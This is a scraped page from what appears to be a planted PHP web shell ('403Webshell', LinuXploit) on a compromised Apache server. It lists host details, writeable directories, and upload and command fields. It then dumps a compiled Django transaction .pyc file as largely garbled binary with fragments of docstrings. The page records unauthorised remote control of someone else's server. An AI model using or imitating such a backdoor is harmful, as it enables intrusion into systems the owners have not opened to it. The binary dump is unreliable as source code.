403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/db/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/db/__pycache__/transaction.cpython-311.pyc
�

�|�e�/���ddlmZmZddlmZmZmZmZmZGd�de��Z	dd�Z
dd�Zdd�Zdd	�Z
dd
�Zdd�Zdd�Zdd
�Zdd�Zdd�Zdd�Zedd���Zdd�ZGd�de��Zdd�Zd�Zdd�ZdS)�)�ContextDecorator�contextmanager)�DEFAULT_DB_ALIAS�
DatabaseError�Error�ProgrammingError�connectionsc��eZdZdZdS)�TransactionManagementErrorz*Transaction management is used improperly.N)�__name__�
__module__�__qualname__�__doc__���7/usr/lib/python3/dist-packages/django/db/transaction.pyrrs������4�4��DrrNc�.�|�t}t|S)z�
    Get a database connection by name, or the default database connection
    if no name is provided. This is a private API.
    )rr	��usings r�get_connectionr
s��

�}� ���u��rc�D�t|�����S)z,Get the autocommit status of the connection.)r�get_autocommitrs rrrs���%� � �/�/�1�1�1rc�F�t|���|��S)z,Set the autocommit status of the connection.)r�set_autocommit)�
autocommitrs  rrrs���%� � �/�/�
�;�;�;rc�H�t|�����dS)zCommit a transaction.N)r�commitrs rrr!s"���5��� � �"�"�"�"�"rc�H�t|�����dS)zRoll back a transaction.N)r�rollbackrs rrr&s"���5���"�"�$�$�$�$�$rc�D�t|�����S)z�
    Create a savepoint (if supported and required by the backend) inside the
    current transaction. Return an identifier for the savepoint that will be
    used for the subsequent rollback or commit.
    )r�	savepointrs rr!r!+s���%� � �*�*�,�,�,rc�J�t|���|��dS)zn
    Roll back the most recent savepoint (if one exists). Do nothing if
    savepoints are not supported.
    N)r�savepoint_rollback��sidrs  rr#r#4s&��
�5���,�,�S�1�1�1�1�1rc�J�t|���|��dS)zk
    Commit the most recent savepoint (if one exists). Do nothing if
    savepoints are not supported.
    N)r�savepoint_commitr$s  rr'r'<s&��
�5���*�*�3�/�/�/�/�/rc�H�t|�����dS)zQ
    Reset the counter used to generate unique savepoint ids in this thread.
    N)r�clean_savepointsrs rr)r)Ds$���5���*�*�,�,�,�,�,rc�D�t|�����S)z9Get the "needs rollback" flag -- for *advanced use* only.)r�get_rollbackrs rr+r+Ks���%� � �-�-�/�/�/rc�F�t|���|��S)a�
    Set or unset the "needs rollback" flag -- for *advanced use* only.

    When `rollback` is `True`, trigger a rollback when exiting the innermost
    enclosing atomic block that has `savepoint=True` (that's the default). Use
    this to force a rollback without raising an exception.

    When `rollback` is `False`, prevent such a rollback. Use this only after
    rolling back to a known-good state! Otherwise, you break the atomic block
    and data corruption may occur.
    )r�set_rollback)rrs  rr-r-Ps ���%� � �-�-�h�7�7�7rc#�lK�	dV�dS#t$rt|��}|jrd|_�wxYw)ab
    Internal low-level utility to mark a transaction as "needs rollback" when
    an exception is raised while not enforcing the enclosed block to be in a
    transaction. This is needed by Model.save() and friends to avoid starting a
    transaction when in autocommit mode and a single query is executed.

    It's equivalent to:

        connection = get_connection(using)
        if connection.get_autocommit():
            yield
        else:
            with transaction.atomic(using=using, savepoint=False):
                yield

    but it uses low-level utilities to avoid performance overhead.
    NT)�	Exceptionr�in_atomic_block�needs_rollback)r�
connections  r�mark_for_rollback_on_errorr3_sV����&�
�����������#�E�*�*�
��%�	-�(,�J�%�
�	���s�
�)3c�J�t|���|��dS)z�
    Register `func` to be called when the current transaction is committed.
    If the current transaction is rolled back, `func` will not be called.
    N)r�	on_commit)�funcrs  rr5r5{s&��
�5���#�#�D�)�)�)�)�)rc�(�eZdZdZdZd�Zd�Zd�ZdS)�Atomica�
    Guarantee the atomic execution of a given block.

    An instance can be used either as a decorator or as a context manager.

    When it's used as a decorator, __call__ wraps the execution of the
    decorated function in the instance itself, used as a context manager.

    When it's used as a context manager, __enter__ creates a transaction or a
    savepoint, depending on whether a transaction is already in progress, and
    __exit__ commits the transaction or releases the savepoint on normal exit,
    and rolls back the transaction or to the savepoint on exceptions.

    It's possible to disable the creation of savepoints if the goal is to
    ensure that some code runs within a transaction without creating overhead.

    A stack of savepoints identifiers is maintained as an attribute of the
    connection. None denotes the absence of a savepoint.

    This allows reentrancy even if the same AtomicWrapper is reused. For
    example, it's possible to define `oa = atomic('other')` and use `@oa` or
    `with oa:` multiple times.

    Since database connections are thread-local, this is thread-safe.

    An atomic block can be tagged as durable. In this case, raise a
    RuntimeError if it's nested within another atomic block. This guarantees
    that database changes in a durable block are committed to the database when
    the block exists without error.

    This is a private API.
    Tc�0�||_||_||_dS�N�rr!�durable)�selfrr!r<s    r�__init__zAtomic.__init__�s����
�"�������rc���t|j��}|jr|jr|jrtd���|js0d|_d|_|���sd|_d|_|jrZ|j	r7|js0|�	��}|j
�|��dS|j
�d��dS|�dd���d|_dS)NzDA durable atomic block cannot be nested within another atomic block.TF)�.force_begin_transaction_with_broken_autocommit)
rrr<�_ensure_durabilityr0�RuntimeError�commit_on_exitr1rr!�
savepoint_ids�appendr)r=r2r%s   r�	__enter__zAtomic.__enter__�s��#�D�J�/�/�
��<�	�D�3�	�
�8R�	�� ���
��)�		2�(,�J�%�(-�J�%��,�,�.�.�
2�.2�
�*�,1�
�)��%�	.�
�~�
6�j�&?�
6� �*�*�,�,���(�/�/��4�4�4�4�4��(�/�/��5�5�5�5�5��%�%�e�\`�%�a�a�a�)-�J�&�&�&rc���t|j��}|jr|j���}nd|_	|jr�nq|��|js�|jrm|�j	|�|���nG#t$rE	|�	|��|�|��n#t$r
d|_YnwxYw�wxYwn�	|���n�#t$r<	|���n$#t$r|�
��YnwxYw�wxYwd|_|jrM|�d|_n}	|�	|��|�|��nQ#t$r
d|_Yn>wxYw	|���n$#t$r|�
��YnwxYw|js'|jr	d|_dS|�d��dS|js |js|jr	d|_dSd|_dSdSdS#|js%|jrd|_n:|�d��n$|js|js|jrd|_nd|_wxYw)NFT)rrrD�popr0�closed_in_transactionr1r'rr#rrr�closer2rrC)r=�exc_type�	exc_value�	tracebackr2r%s      r�__exit__zAtomic.__exit__�sz��#�D�J�/�/�
��#�	/��*�.�.�0�0�C�C�*/�J�&�M	7��/�>
+���!�*�*C�!��-����
"�&�7�7��<�<�<�<��,�"�"�"�	A� *� =� =�c� B� B� B�!+� ;� ;�C� @� @� @� @��#(�A�A�A�=A�
� 9� 9� 9�	A����
"�"����'�"	�"�)�)�+�+�+�+��(����/�&�/�/�1�1�1�1��$�/�/�/�'�,�,�.�.�.�.�.�/���������-2�
�)��-�+��{�48�
�1�1�	=�&�9�9�#�>�>�>�'�7�7��<�<�<�<��$�=�=�=�9=�J�5�5�5�	=����+�"�+�+�-�-�-�-�� �+�+�+�#�(�(�*�*�*�*�*�+�����-�

7��3�4�,0�J�)�)�)��-�-�d�3�3�3�3�3��-�
7�j�6O�
7��3�7�,0�J�)�)�)�16�J�.�.�.�	
7�
7�
7�
7��
�-�

7��3�4�,0�J�)�)��-�-�d�3�3�3�3��-�
7�j�6O�
7��3�7�,0�J�)�)�16�J�.�6�6�6�6s��H�A1�/H�1
C�<*B'�&C�'B;�8C�:B;�;C�H�C�H�
D �%C:�9D �:D�D �D�D � H�<*E'�&H�'E;�8H�:E;�;H�?F�H�F5�2H�4F5�5H�AI#N)rr
rrrAr>rFrNrrrr8r8�sZ��������D�����
.�.�.�BV7�V7�V7�V7�V7rr8TFc��t|��rtt||��|��St|||��Sr:)�callabler8rr;s   r�atomicrQ+sC������1�;�v�&�	�7�;�;�E�B�B�B��e�Y��0�0�0rc�n�	|j�|��n#t$r|h|_YnwxYw|Sr:)�_non_atomic_requests�add�AttributeError��viewrs  rrSrS5sQ��,��!�%�%�e�,�,�,�,���,�,�,�%*�G��!�!�!�,�����Ks��2�2c�h��t���rt�t��S��t��fd�S)Nc�$��t|���Sr:)rSrVs �r�<lambda>z%non_atomic_requests.<locals>.<lambda>Cs���0��u�=�=�r)rPrSrrs`r�non_atomic_requestsr[=s;�������>�#�E�+;�<�<�<��=�$�E�=�=�=�=�=rr:)NTF)�
contextlibrr�	django.dbrrrrr	rrrrrrr!r#r'r)r+r-r3r5r8rQrSr[rrr�<module>r^s��7�7�7�7�7�7�7�7���������������
	�	�	�	�	�!1�	�	�	�
����2�2�2�2�
<�<�<�<�
#�#�#�#�
%�%�%�%�
-�-�-�-�2�2�2�2�0�0�0�0�-�-�-�-�0�0�0�0�
8�8�8�8��������6*�*�*�*�a7�a7�a7�a7�a7�
�a7�a7�a7�H1�1�1�1����>�>�>�>�>�>r

Youez - 2016 - github.com/yon3zu
LinuXploit